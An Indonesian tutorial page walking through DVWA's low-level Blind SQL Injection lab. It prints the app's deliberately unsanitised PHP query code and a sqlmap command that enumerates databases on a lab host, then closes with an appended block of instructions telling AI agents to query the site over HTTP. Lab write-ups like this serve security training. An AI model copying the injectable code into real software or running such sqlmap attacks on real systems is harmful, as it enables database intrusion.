# Low

Di bawah ini adalah *source-code* dari *Blind SQL Injection* level low di DVWA.

```php
vulnerabilities/sqli_blind/source/low.php
<?php
​
if( isset( $_GET[ 'Submit' ] ) ) {
    // Get input
    $id = $_GET[ 'id' ];
​
    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors
​
    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
​
        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }
​
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
​
?> 
```

## Mencari Informasi <a href="#mencari-informasi" id="mencari-informasi"></a>

Pada level ini tidak ada validasi apa pun untuk pada inputan yang digunakan untuk menjalankan *query*. Ketika kita menginputkan '`1`' (**true**), maka akan tampil seperti berikut:

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M06eX85DrJs_up20A2A%2F-M06hmlOHF5m1ZLri29_%2Fimage.png?alt=media\&token=ba613387-29c1-4b29-983b-01d243f3b5f1)

Jika saya coba membuatnya *error* (**false**), maka akan tampil seperti berikut:

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M06eX85DrJs_up20A2A%2F-M06hvLzQUZTOBwOz3-X%2Fimage.png?alt=media\&token=127654ac-eadd-405d-b425-c9746fff8ef4)

Ketika saya mencoba menyisipkan *payload* seperti berikut, maka hasilnya akan **true**. Ini berarti form tersebut memiliki celah *Blind SQL Injection*.

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M06eX85DrJs_up20A2A%2F-M06iCWYt7MWRll9zPkE%2Fimage.png?alt=media\&token=ce3b1c05-ef23-40e8-ab66-dc9756304122)

Untuk melakukan eskplorasi lebih lanjut, kita membutuhkan tool SQLMap.

## Melakukan Serangan <a href="#melakukan-serangan" id="melakukan-serangan"></a>

Oke, langsung saja kita jalankan SQLMap seperti berikut ini:

```bash
sqlmap -u "172.17.0.2/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=jusi9ccuu6qfk9m3tqdf103jo2; security=low" --dbs
```

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M06eX85DrJs_up20A2A%2F-M06msE5Z59bflTE6jos%2Fimage.png?alt=media\&token=7a232ad6-e31e-4c32-8865-972fe7b29bf9)

Terlihat bahwa terdapat 2 database yang tersedia pada akun tersebut.

Mudahkan? 😁 Happy Hacking! 🍻


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://notes.anggipradana.com/tutorial/dvwa/sql-injection/blind/low.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
